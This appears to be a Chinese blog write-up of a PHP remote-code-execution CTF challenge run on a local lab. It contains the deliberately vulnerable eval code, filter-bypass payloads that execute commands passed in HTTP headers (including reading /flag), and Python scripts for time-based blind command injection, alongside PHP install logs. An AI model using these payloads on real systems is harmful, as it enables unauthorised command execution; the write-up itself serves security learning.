当前位置： 首页 > news >正文

RCE的CTF题目环境和做题复现第3集

news 2025/8/23 18:46:00

1 通过wsl的ubuntu环境部署

2 题目

2.1 http://127.0.0.1/rce2/rce2.php

<?php
if(isset($_GET['code'])){if(';' === preg_replace('/[^W]+{((?R)?\})/', '', $_GET['code'])){if (!preg_match('/system|getcwd|get|session|end|next|current/i', $_GET['code'])){eval($_GET['code']);}else{die("Hacker!");}}else{die('nonono');}
}else{highlight_file(__FILE__);
}

3 EXP

3.1.1 var_dump(array_rand(apache_request_headers()));

在这里插入图片描述

3.1.2 var_dump(array_rand(array_flip(apache_request_headers())));

在这里插入图片描述

3.1.3 GET /rce2/rce2.php?code=var_dump(array_rand(array_flip(apache_request_headers()))); HTTP/1.1

Host: localhost
CMD: ls
在这里插入图片描述

3.1.4 GET /rce2/rce2.php?code=var_dump(exec(array_rand(array_flip(apache_request_headers())))); HTTP/1.1

Host: localhost
CMD: ls /
在这里插入图片描述

3.1.5 GET /rce2/rce2.php?code=var_dump(exec(array_rand(array_flip(apache_request_headers())))); HTTP/1.1

Host: localhost
CMD: cat /flag
在这里插入图片描述

切换php7.1

(base) gpu3090@DESKTOP-8IU6393:/$ sudo apt-get install php7.1
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:libapache2-mod-php7.1 libpcre3 php7.1-cli php7.1-common php7.1-json php7.1-opcache php7.1-readline
Suggested packages:php-pear
The following NEW packages will be installed:libapache2-mod-php7.1 libpcre3 php7.1 php7.1-cli php7.1-common php7.1-json php7.1-opcache php7.1-readline
0 upgraded, 8 newly installed, 0 to remove and 2 not upgraded.
Need to get 3997 kB of archives.
After this operation, 15.0 MB of additional disk space will be used.
Do you want to continue? [Y/n]
Get:1 http://archive.ubuntu.com/ubuntu noble/universe amd64 libpcre3 amd64 2:8.39-15build1 [248 kB]
Get:2 https://ppa.launchpadcontent.net/ondrej/php/ubuntu noble/main amd64 php7.1-common amd64 7.1.33-67+ubuntu24.04.1+deb.sury.org+1 [579 kB]
Get:3 https://ppa.launchpadcontent.net/ondrej/php/ubuntu noble/main amd64 php7.1-json amd64 7.1.33-67+ubuntu24.04.1+deb.sury.org+1 [19.4 kB]
Get:4 https://ppa.launchpadcontent.net/ondrej/php/ubuntu noble/main amd64 php7.1-opcache amd64 7.1.33-67+ubuntu24.04.1+deb.sury.org+1 [164 kB]
Get:5 https://ppa.launchpadcontent.net/ondrej/php/ubuntu noble/main amd64 php7.1-readline amd64 7.1.33-67+ubuntu24.04.1+deb.sury.org+1 [13.4 kB]
Get:6 https://ppa.launchpadcontent.net/ondrej/php/ubuntu noble/main amd64 php7.1-cli amd64 7.1.33-67+ubuntu24.04.1+deb.sury.org+1 [1489 kB]
Get:7 https://ppa.launchpadcontent.net/ondrej/php/ubuntu noble/main amd64 libapache2-mod-php7.1 amd64 7.1.33-67+ubuntu24.04.1+deb.sury.org+1 [1418 kB]
Get:8 https://ppa.launchpadcontent.net/ondrej/php/ubuntu noble/main amd64 php7.1 all 7.1.33-67+ubuntu24.04.1+deb.sury.org+1 [66.0 kB]
Fetched 3997 kB in 55s (73.2 kB/s)
Selecting previously unselected package libpcre3:amd64.
(Reading database ... 43387 files and directories currently installed.)
Preparing to unpack .../0-libpcre3_2%3a8.39-15build1_amd64.deb ...
Unpacking libpcre3:amd64 (2:8.39-15build1) ...
Selecting previously unselected package php7.1-common.
Preparing to unpack .../1-php7.1-common_7.1.33-67+ubuntu24.04.1+deb.sury.org+1_amd64.deb ...
Unpacking php7.1-common (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Selecting previously unselected package php7.1-json.
Preparing to unpack .../2-php7.1-json_7.1.33-67+ubuntu24.04.1+deb.sury.org+1_amd64.deb ...
Unpacking php7.1-json (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Selecting previously unselected package php7.1-opcache.
Preparing to unpack .../3-php7.1-opcache_7.1.33-67+ubuntu24.04.1+deb.sury.org+1_amd64.deb ...
Unpacking php7.1-opcache (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Selecting previously unselected package php7.1-readline.
Preparing to unpack .../4-php7.1-readline_7.1.33-67+ubuntu24.04.1+deb.sury.org+1_amd64.deb ...
Unpacking php7.1-readline (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Selecting previously unselected package php7.1-cli.
Preparing to unpack .../5-php7.1-cli_7.1.33-67+ubuntu24.04.1+deb.sury.org+1_amd64.deb ...
Unpacking php7.1-cli (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Selecting previously unselected package libapache2-mod-php7.1.
Preparing to unpack .../6-libapache2-mod-php7.1_7.1.33-67+ubuntu24.04.1+deb.sury.org+1_amd64.deb ...
Unpacking libapache2-mod-php7.1 (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Selecting previously unselected package php7.1.
Preparing to unpack .../7-php7.1_7.1.33-67+ubuntu24.04.1+deb.sury.org+1_all.deb ...
Unpacking php7.1 (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Setting up libpcre3:amd64 (2:8.39-15build1) ...
Setting up php7.1-common (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...Creating config file /etc/php/7.1/mods-available/calendar.ini with new versionCreating config file /etc/php/7.1/mods-available/ctype.ini with new versionCreating config file /etc/php/7.1/mods-available/exif.ini with new versionCreating config file /etc/php/7.1/mods-available/fileinfo.ini with new versionCreating config file /etc/php/7.1/mods-available/ftp.ini with new versionCreating config file /etc/php/7.1/mods-available/gettext.ini with new versionCreating config file /etc/php/7.1/mods-available/iconv.ini with new versionCreating config file /etc/php/7.1/mods-available/pdo.ini with new versionCreating config file /etc/php/7.1/mods-available/phar.ini with new versionCreating config file /etc/php/7.1/mods-available/posix.ini with new versionCreating config file /etc/php/7.1/mods-available/shmop.ini with new versionCreating config file /etc/php/7.1/mods-available/sockets.ini with new versionCreating config file /etc/php/7.1/mods-available/sysvmsg.ini with new versionCreating config file /etc/php/7.1/mods-available/sysvsem.ini with new versionCreating config file /etc/php/7.1/mods-available/sysvshm.ini with new versionCreating config file /etc/php/7.1/mods-available/tokenizer.ini with new version
Setting up php7.1-opcache (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...Creating config file /etc/php/7.1/mods-available/opcache.ini with new version
Setting up php7.1-readline (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...Creating config file /etc/php/7.1/mods-available/readline.ini with new version
Setting up php7.1-json (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...Creating config file /etc/php/7.1/mods-available/json.ini with new version
Setting up php7.1-cli (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...Creating config file /etc/php/7.1/cli/php.ini with new version
Setting up libapache2-mod-php7.1 (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...Creating config file /etc/php/7.1/apache2/php.ini with new version
libapache2-mod-php7.1: php7.3 module already enabled, not enabling PHP 7.1
Setting up php7.1 (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Processing triggers for libc-bin (2.39-0ubuntu8.5) ...
Processing triggers for man-db (2.12.0-4build2) ...
Processing triggers for php7.1-cli (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
Processing triggers for libapache2-mod-php7.1 (7.1.33-67+ubuntu24.04.1+deb.sury.org+1) ...
(base) gpu3090@DESKTOP-8IU6393:/$ php -v
PHP 7.3.33-24+ubuntu24.04.1+deb.sury.org+1 (cli) (built: Dec 24 2024 07:05:25) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.33, Copyright (c) 1998-2018 Zend Technologieswith Zend OPcache v7.3.33-24+ubuntu24.04.1+deb.sury.org+1, Copyright (c) 1999-2018, by Zend Technologies
(base) gpu3090@DESKTOP-8IU6393:/$ sudo update-alternatives --config php
There are 3 choices for the alternative php (providing /usr/bin/php).Selection    Path             Priority   Status
------------------------------------------------------------0            /usr/bin/php7.4   74        auto mode1            /usr/bin/php7.1   71        manual mode
* 2            /usr/bin/php7.3   73        manual mode3            /usr/bin/php7.4   74        manual modePress <enter> to keep the current choice[*], or type selection number: 1
update-alternatives: using /usr/bin/php7.1 to provide /usr/bin/php (php) in manual mode
(base) gpu3090@DESKTOP-8IU6393:/$ php -v
PHP 7.1.33-67+ubuntu24.04.1+deb.sury.org+1 (cli) (built: Dec 24 2024 06:50:54) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2018 Zend Technologieswith Zend OPcache v7.1.33-67+ubuntu24.04.1+deb.sury.org+1, Copyright (c) 1999-2018, by Zend Technologies
(base) gpu3090@DESKTOP-8IU6393:/$ sudo systemctl restart apache2
(base) gpu3090@DESKTOP-8IU6393:/$ sudo a2enmod php7.1
Considering dependency mpm_prefork for php7.1:
Considering conflict mpm_event for mpm_prefork:
Considering conflict mpm_worker for mpm_prefork:
Module mpm_prefork already enabled
Considering conflict php5 for php7.1:
Enabling module php7.1.
To activate the new configuration, you need to run:systemctl restart apache2
(base) gpu3090@DESKTOP-8IU6393:/$ systemctl restart apache2
Failed to restart apache2.service: Interactive authentication required.
See system logs and 'systemctl status apache2.service' for details.
(base) gpu3090@DESKTOP-8IU6393:/$ sudo systemctl restart apache2
(base) gpu3090@DESKTOP-8IU6393:/$

import time
import requests
import stringurl = "http://127.0.0.1/bypass1/bypass1.php?a="
dicts = string.printable
command = "cat ./flag"
result = ""for i in range(1,50):for j in dicts:payload = "sleep $({}|cut -c {}|tr {} 3)".format(command, i, j)start = time.time()requests.get(url+payload)end = time.time()if end-start >= 3:result += jprint(result)break

3.2 exp2

import time
import requests
import stringurl = "http://127.0.0.1/bypass1/bypass1.php?a="
dicts = string.printable
command = "whoami"
result = ""for i in range(1,50):for j in dicts:payload = "sleep $({}|cut -c {}|tr {} 3)".format(command, i, j)start = time.time()requests.get(url+payload)end = time.time()if end-start >= 3:result += jprint(result)break

4 解题过程

4.0.1 在wsl的ubuntu上安装php环境

Step 1: Remove Existing PHP Versions
First, let’s clean up any existing PHP 7.x installations:sudo apt-get purge php7.*
sudo apt-get autoclean
sudo apt-get autoremove
Note about these commands:autoclean removes obsolete package files from your cache
autoremove removes dependencies that are no longer needed
Using purge removes both packages and their configuration files
Step 2: Add the PHP Repository
Ondřej Surý maintains up-to-date PHP packages for Ubuntu:sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
Step 3: Install PHP 7.3
Now install PHP 7.3 and common extensions:sudo apt-get install php7.3
Step 4: Configure Apache (if using Apache)
If you’re using Apache as your web server:# Disable old PHP module (if any)
sudo a2dismod php7.0  # or whatever version you had before# Enable PHP 7.3
sudo a2enmod php7.3
sudo systemctl restart apache2

4.0.2 /var/www/html配置普通账户可读可写可执行权限

(base) gpu3090@DESKTOP-8IU6393:~$ chown  gpu3090 /var/www/html
chown: changing ownership of '/var/www/html': Operation not permitted
(base) gpu3090@DESKTOP-8IU6393:~$ sudo chown  gpu3090 /var/www/html
(base) gpu3090@DESKTOP-8IU6393:~$ ls
M5-应用集成  anaconda3  cookies.txt  downloads  snap  summaries  tmpg00x95ve.mp3
(base) gpu3090@DESKTOP-8IU6393:~$

4.0.3 将题目代码和flag存放到/var/www/html/相应的位置

在这里插入图片描述

4.1 在vscode上运行上面的EXP的php脚本

需要安装插件php debug 和php Server

在这里插入图片描述

http://www.xdnf.cn/news/1348273.html

相关文章：

  • RoboTwin--CVPR2025--港大--2025.4.17--开源
  • 大模型微调训练资源占用查询：Windows 10 查看 NVIDIA 显卡GPU状态教程（替代 Ubuntu 下 watch nvidia-smi）
  • Python精确小数计算完全指南：从基础到金融工程实践
  • 二、高可用架构（Nginx + Keepalived + MySQL 主从）
  • StarRocks启动失败——修复全流程
  • AI生成技术报告：GaussDB与openGauss的HTAP功能全面对比
  • 【COMSOL】Comsol学习案例时的心得记录分享（三）
  • 期货Level2五档订单簿0.25秒级高频分时及日频历史行情数据使用指南
  • 刷题日记0822
  • 实现自己的AI视频监控系统-第一章-视频拉流与解码4（重点）
  • uboot添加ping命令的响应处理
  • 音视频处理工作室：实时通信的媒体层设计
  • Paddle3D-PETRv1 精度测试与推理实践指南
  • 容器安全实践（一）：概念篇 - 从“想当然”到“真相”
  • 车载诊断架构 --- EOL引起关于DTC检测开始条件的思考
  • Mongodb操作指南
  • 大麦盒子DM4036-精简固件包及教程
  • 2025.8.22周五 在职老D渗透日记day24:burp+mumu抓包 安卓7.0以上证书配置
  • 电脑端完全免费的动态壁纸和屏保软件(真正免费、无广告、无会员)
  • 二叉搜索树（BST）、AVL树、红黑树
  • 爬虫基础学习-链接协议分析，熟悉相关函数
  • 基于抗辐照性能的ASP4644S电源芯片特性分析与多领域应用验证
  • 笔记本怎么才能更快散热？
  • DataStream实现WordCount
  • 信息结构统一论：物理世界与人类感知、认知及符号系统的桥梁
  • 透射TEM新手入门：衍射斑点标定 1
  • [特殊字符] TTS格局重塑！B站推出Index-TTS，速度、音质、情感表达全维度领先
  • Day25 栈 队列 二叉树
  • 特大桥施工绳断 7 人亡：索力实时监测预警机制亟待完善
  • kvcache比赛记录